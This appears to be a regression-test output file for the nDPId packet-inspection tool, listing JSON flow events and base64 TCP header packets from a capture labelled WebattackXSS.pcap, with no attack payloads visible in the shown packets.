+00432{"flow_id":395,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5590,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347635,"pkt_ts_usec":156427,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA04sVAAD4G4xKsEAABwKgKMuekAFB1fpEFYT4ko4AQAOXMegAAAQEICgE7c8ED5UU2"} +00432{"flow_id":392,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5593,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347635,"pkt_ts_usec":791343,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0rFZAAD4GGYKsEAABwKgKMuduAFDOysKNdooKZ4ARAOVLFAAAAQEICgE7dGAD5UBO"} +00432{"flow_id":392,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5594,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347635,"pkt_ts_usec":791589,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0T7JAAEAGdCbAqAoyrBAAAQBQ5252igpnzsrCjoARAONFjgAAAQEICgPlRdUBO3Rg"} +00432{"flow_id":392,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5595,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347635,"pkt_ts_usec":793357,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0rFdAAD4GGYGsEAABwKgKMuduAFDOysKOdooKaIAQAOVFjAAAAQEICgE7dGAD5UXV"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5599,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":396,"flow_packet_id":1,"flow_first_seen":1499347636429,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59314,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":396,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5599,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347636,"pkt_ts_usec":429330,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8AchAAD4GxAisEAABwKgKMueyAFDHeXU3AAAAAKACchDEFQAAAgQFtAQCCAoBO3T\/AAAAAAEDAwc="} +00445{"flow_id":396,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5600,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347636,"pkt_ts_usec":429497,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ57LbsY4Yx3l1OKAScSAQ0QAAAgQFtAQCCAoD5UZ0ATt0\/wEDAwc="} +00432{"flow_id":396,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5602,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347636,"pkt_ts_usec":431328,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0AclAAD4GxA+sEAABwKgKMueyAFDHeXU427GOGYAQAOWv1wAAAQEICgE7dQAD5UZ0"} +00432{"flow_id":393,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5605,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347636,"pkt_ts_usec":791351,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0+p5AAD4GyzmsEAABwKgKMud8AFDgpIqQeVt4xoARAOX9xAAAAQEICgE7dVoD5UGI"} +00433{"flow_id":393,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5606,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347636,"pkt_ts_usec":791537,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0PglAAEAGhc\/AqAoyrBAAAQBQ53x5W3jG4KSKkYARAOP4fgAAAQEICgPlRs8BO3Va"} +00432{"flow_id":393,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5607,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347636,"pkt_ts_usec":793344,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0+p9AAD4GyzisEAABwKgKMud8AFDgpIqReVt4x4AQAOX4fAAAAQEICgE7dVoD5UbP"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5611,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":397,"flow_packet_id":1,"flow_first_seen":1499347637687,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59328,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":397,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5611,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347637,"pkt_ts_usec":687348,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8W0xAAD4GaoSsEAABwKgKMufAAFAySC12AAAAAKACchCfvwAAAgQFtAQCCAoBO3Y6AAAAAAEDAwc="} +00444{"flow_id":397,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5612,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347637,"pkt_ts_usec":687451,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ58BffWshMkgtd6AScSCKawAAAgQFtAQCCAoD5UevATt2OgEDAwc="} +00432{"flow_id":397,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5613,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347637,"pkt_ts_usec":688298,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0W01AAD4GaousEAABwKgKMufAAFAySC13X31rIoAQAOUpcwAAAQEICgE7djoD5Uev"} +00432{"flow_id":394,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5617,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347637,"pkt_ts_usec":792330,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0d6pAAD4GTi6sEAABwKgKMueKAFDGJwbkDGpkYYARAOUbBQAAAQEICgE7dlQD5ULA"} +00433{"flow_id":394,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5618,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347637,"pkt_ts_usec":792529,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0I6hAAEAGoDDAqAoyrBAAAQBQ54oMamRhxicG5YARAOMV\/QAAAQEICgPlR8kBO3ZU"} +00432{"flow_id":394,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5619,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347637,"pkt_ts_usec":795320,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0d6tAAD4GTi2sEAABwKgKMueKAFDGJwblDGpkYoAQAOUV+wAAAQEICgE7dlQD5UfJ"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5620,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":352,"flow_packet_id":6,"flow_first_seen":1499347564211,"flow_last_seen":1499347569770,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58536,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5620,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":352,"flow_packet_id":6,"flow_first_seen":1499347564211,"flow_last_seen":1499347569770,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58536,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5620,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":353,"flow_packet_id":6,"flow_first_seen":1499347565457,"flow_last_seen":1499347570771,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58550,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5620,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":353,"flow_packet_id":6,"flow_first_seen":1499347565457,"flow_last_seen":1499347570771,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58550,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5620,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":354,"flow_packet_id":6,"flow_first_seen":1499347566719,"flow_last_seen":1499347571771,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58564,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5620,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":354,"flow_packet_id":6,"flow_first_seen":1499347566719,"flow_last_seen":1499347571771,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58564,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5620,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":355,"flow_packet_id":6,"flow_first_seen":1499347569321,"flow_last_seen":1499347574772,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58590,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5620,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":355,"flow_packet_id":6,"flow_first_seen":1499347569321,"flow_last_seen":1499347574772,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58590,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5620,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":356,"flow_packet_id":6,"flow_first_seen":1499347570571,"flow_last_seen":1499347575772,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58604,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5620,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":356,"flow_packet_id":6,"flow_first_seen":1499347570571,"flow_last_seen":1499347575772,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58604,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5629,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":398,"flow_packet_id":1,"flow_first_seen":1499347640199,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59354,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":398,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5629,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347640,"pkt_ts_usec":199189,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA81CZAAD4G8amsEAABwKgKMufaAFCvK6yIAAAAAKACchChOwAAAgQFtAQCCAoBO3iuAAAAAAEDAwc="} +00445{"flow_id":398,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5630,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347640,"pkt_ts_usec":199289,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ59rwV\/OuryusiaAScSBwCwAAAgQFtAQCCAoD5UojATt4rgEDAwc="} +00432{"flow_id":398,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5632,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347640,"pkt_ts_usec":200219,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA01CdAAD4G8bCsEAABwKgKMufaAFCvK6yJ8Ffzr4AQAOUPEwAAAQEICgE7eK4D5Uoj"} +00432{"flow_id":395,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5635,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347640,"pkt_ts_usec":792217,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA04sZAAD4G4xGsEAABwKgKMuekAFB1fpEFYT4ko4ARAOXG+AAAAQEICgE7eUID5UU2"} +00432{"flow_id":395,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5636,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347640,"pkt_ts_usec":792433,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0bhRAAEAGVcTAqAoyrBAAAQBQ56RhPiSjdX6RBoARAOPBeAAAAQEICgPlSrcBO3lC"} +00432{"flow_id":395,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5637,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347640,"pkt_ts_usec":794239,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA04sdAAD4G4xCsEAABwKgKMuekAFB1fpEGYT4kpIAQAOXBdgAAAQEICgE7eUID5Uq3"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5641,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":399,"flow_packet_id":1,"flow_first_seen":1499347641440,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59368,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":399,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5641,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347641,"pkt_ts_usec":440192,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8tE5AAD4GEYKsEAABwKgKMufoAFB3dM2qAAAAAKACchC2jAAAAgQFtAQCCAoBO3nkAAAAAAEDAwc="} +00444{"flow_id":399,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5642,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347641,"pkt_ts_usec":440298,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ5+hNQiold3TNq6AScSDwxQAAAgQFtAQCCAoD5UtZATt55AEDAwc="} +00432{"flow_id":399,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5644,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347641,"pkt_ts_usec":442231,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0tE9AAD4GEYmsEAABwKgKMufoAFB3dM2rTUIqJoAQAOWPzQAAAQEICgE7eeQD5UtZ"} +00432{"flow_id":396,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5647,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347641,"pkt_ts_usec":791382,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0AcpAAD4GxA6sEAABwKgKMueyAFDHeXU427GOGYARAOWqmgAAAQEICgE7ejwD5UZ0"} +00434{"flow_id":396,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5648,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347641,"pkt_ts_usec":791607,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0xahAAEAG\/i\/AqAoyrBAAAQBQ57LbsY4Zx3l1OYARAOOlXgAAAQEICgPlS7EBO3o8"} +00432{"flow_id":396,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5649,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347641,"pkt_ts_usec":793151,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ActAAD4GxA2sEAABwKgKMueyAFDHeXU527GOGoAQAOWlXAAAAQEICgE7ejwD5Uux"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5653,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":400,"flow_packet_id":1,"flow_first_seen":1499347642716,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59382,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":400,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5653,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347642,"pkt_ts_usec":716181,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8SnNAAD4Ge12sEAABwKgKMuf2AFDcdDFQAAAAAKACchDsmQAAAgQFtAQCCAoBO3sjAAAAAAEDAwc="} +00445{"flow_id":400,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5654,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347642,"pkt_ts_usec":716283,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ5\/aPKcRJ3HQxUaAScSBJiAAAAgQFtAQCCAoD5UyYATt7IwEDAwc="} +00432{"flow_id":400,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5655,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347642,"pkt_ts_usec":717159,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0SnRAAD4Ge2SsEAABwKgKMuf2AFDcdDFRjynESoAQAOXojwAAAQEICgE7eyMD5UyY"} +00432{"flow_id":397,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5659,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347642,"pkt_ts_usec":792219,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0W05AAD4GaoqsEAABwKgKMufAAFAySC13X31rIoARAOUkdgAAAQEICgE7ezYD5Uev"} +00433{"flow_id":397,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5660,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347642,"pkt_ts_usec":792357,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0J4lAAEAGnE\/AqAoyrBAAAQBQ58BffWsiMkgteIARAOMfewAAAQEICgPlTKsBO3s2"} +00432{"flow_id":397,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5661,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347642,"pkt_ts_usec":795114,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0W09AAD4GaomsEAABwKgKMufAAFAySC14X31rI4AQAOUfeQAAAQEICgE7ezYD5Uyr"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5672,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":401,"flow_packet_id":1,"flow_first_seen":1499347645232,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59408,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":401,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5672,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347645,"pkt_ts_usec":232370,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8rz5AAD4GFpKsEAABwKgKMugQAFBzf9KmAAAAAKACchCxqQAAAgQFtAQCCAoBO32YAAAAAAEDAwc="} 